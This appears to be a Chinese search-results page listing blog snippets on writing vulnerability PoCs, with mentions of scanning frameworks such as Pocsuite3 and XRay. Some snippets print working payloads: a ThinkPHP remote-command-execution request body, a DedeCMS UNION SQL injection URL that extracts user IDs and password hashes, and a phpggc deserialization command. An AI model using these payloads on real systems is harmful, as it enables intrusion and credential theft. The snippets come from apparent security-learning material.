    Bugscan是西安四叶草信息技术有限公司旗下 BugScan 社区出品的国内首款基于社区的分布式漏洞扫描框架。Python实现引擎, 无任何依赖的第三方库,高效插件可用户自定义,用户独立使用框架,标准插件接口联动匹配框架,可以对内网的B/S架构实行精准的扫描......

    插件开发文档:http://doc.bugscan.net/

    3、TangScan:https://github.com/WooYun/TangScan

    Tangscan(唐朝扫描器)是一个由社区众多安全研究人员维护的企业在线安全平台,

     

    展开全文
  • 一、前言:POC&EXP 什么是POC:即Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实...针对通用型应用漏洞编写poc,可
  • 命令执行的poc编写

    2020-06-03 16:55:56
    有回显的情况下,碰到可能存在的windows和linux平台,可以执行一个不存在的命令,然后报错返回里有Cannot run program即可。 Windows: 结果:
  • 针对一个已经公开的漏洞,POC编写流程是这样的: 根据漏洞的详情,寻找指定受影响的版本程序 可以去官网下载历史版本程序 有些漏洞作者不会提具体版本号,那你就要根据漏洞作者提交的时间来判断了。当然除了官方...
  • thinkphp thinkphp反序列化复现及POC编写 为学习phpggc,部分payload添加进phpggc thinkphp v5.2.x 获取payload ./phpggc thinkphp/rce2 system whoami
  • 本小节主要为大家简单的介绍一些在编写POC时需要的基本技能。 网络通信原理 因为我们的POC是针对网络当中的一些应用程序当中是否存在漏洞进行验证的,那么我们就有必要深入了解基本的网络通信原理,例如:数据的...
  • Poc编写指南

    2016-08-05 10:30:00
    2019独角兽企业重金招聘Python工程师标准>>> ...这是一位哥们写的一本书,书中写Poc的思路和方法 http://poc.evalbug.com/ 转载于:https://my.oschina.net/u/2308739/blog/727630
  • 漏洞检测与PoC编写

    千次阅读 2019-02-22 09:50:46
    来自RickGray: http://blog.knownsec.com/2016/06/how-to-scan-and-check-vulnerabilities/
  • POC: http://127.0.0.1/thinkphp/public/index.php?s=captcha POST: _method=__construct&filter[]=system&method=get&get[]=whoami 从APP文件开始 利用routeCheck函数来对 $dispatch来进行设置 ...
  • poc框架及poc编写

    2021-07-24 17:25:45
    poc框架及poc编写1 pocassist2 pocsuite33 主要是两个框架,第一个相对好用一点 1 pocassist 2 pocsuite3 3 其他poc https://hub.fastgit.org/WooYun/TangScan
  • 发现该POC是发送的GET请求,也就是GET注入,payload为/plus/infosearch.php?action=search&q=%cf'%20union%20select%201,2,concat(0xB9DCC0EDD4B1A3BA,userid),4,concat(0xC3DC5EC2EB,substring(pwd,9,16)),6%20...
  • Kunpeng是一个Golang编写的开源POC检测框架,集成了包括数据库,中间件,web组件,cms等的漏洞POC(),可检测弱密码,SQL注入,XSS,RCE等漏洞类型,以动态链接库的形式提供调用,通过此项目可快速开发突破检测类的...
  • :dna: XRay POC Generation XRay安全评估 > POC辅助生成工具。 关于XRay: 访问 即可直接使用。 :laptop: 本地运行 本地运行XRay POC Generation: git clone https://github.com/phith0n/xray-poc-generation cd ...
  • 简单写了个CloudEye功能接口,用于生成域名和获取dns/Apache日志,整合在PoC框架中,使用前需要配置。 https://github.com/Xyntax/POC-T/blob/master/plugin/cloudeye.py 运行效果 批量验证: ...
  • poc脚本的编写步骤 1.首先新建一个.py文件,文件名应当符合命名格式 2.编写poc实现类DemoPOC,继承自POCBase类 from pocsuit3.api import Output, POCBase, register_poc, requests, logger # Output输出格式模块; ...
  • Python从入门到编写POC系列文章是i春秋论坛作家「Exp1ore」表哥原创的一套完整教程,想系统学习Python技能的小伙伴,不要错过哦!Python从入门到编写POC之爬虫专题说到爬虫,用Python写的貌似是很多的。举个例子,re...
  • Python从0到POC编写

    2020-11-26 11:01:24
    前言:Python POC编写 的第一篇 ,没有开始,就没有结束,本系列使用 Python3。目录:什么是EXP、POC、CVE:在某个漏洞出现的时候,会经常看到 exp啊,poc啊什么鬼的,那么这些究竟是什么东西??余弦大大说:POC 即...
  • 简单的poc以及exp编写(入门篇)

    千次阅读 多人点赞 2020-12-18 11:06:15
    一、何为POC和EXP POC Proof of Concept中文意思是“观点证明”,是用来检测是否存在漏洞的脚本 EXP Exploit的中文意思是“漏洞利用”,是用来利用该漏洞的脚本 二、基础环境Python3 HTTP 方法 内容 GET...
  • 基于python编写PoC

    2020-12-17 15:23:47
    0x02 SQL Injection poc编写已知CmsEasy 5.5 UTF-8程序存在SQL注入,乌云漏洞中的漏洞细节比较详细(由于wooyun已经暂停访问,故不上链接了)。·首先,我们需要下载其相关源码,进行本地搭建。·阅读漏洞细节,我们...
  • Goby为PoC编写提交测试方便发布了…姑且叫PoC版。PoC版主要功能为登录后,可以在线提交 PoC,无需再提交到邮箱。 然后还有两个连接,一个是《Goby漏洞编写指南》: https://github.com/gobysec/.
  • DefaultSerializer 的 deserialize方法中,见到了久违的 readObject()方法 0x04 编写POC EXP 本次AES加密的一些小知识点: 某些加密算法要求明文需要按一定长度对齐,叫做块大小(BlockSize),我们这次就是16字节,...
  • 漏洞poc编写肯定要有大佬们对漏洞进行分析。 该漏洞网上有很多分析报告,如果是phpstudy2016或2018搭建的就有可能存在该漏洞。 这里仅已验证漏洞为例 c3lzdGVtKCJlY2hvIHhjNjY2YSIpOw== 这里的命令base64解密后为...
  • 前言: Apache Tomcat默认安装包含examples目录,里面存着众多的样例,其中session样例(目标/examples/servlets/...漏洞-PoC管理-自定义PoC 自定义PoC截图 1.3 注意事项 名称不可填写中文,否则生成会出错,但后.

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 4,685
精华内容 1,874
关键字:

poc编写

友情链接: jfs_logmgr.rar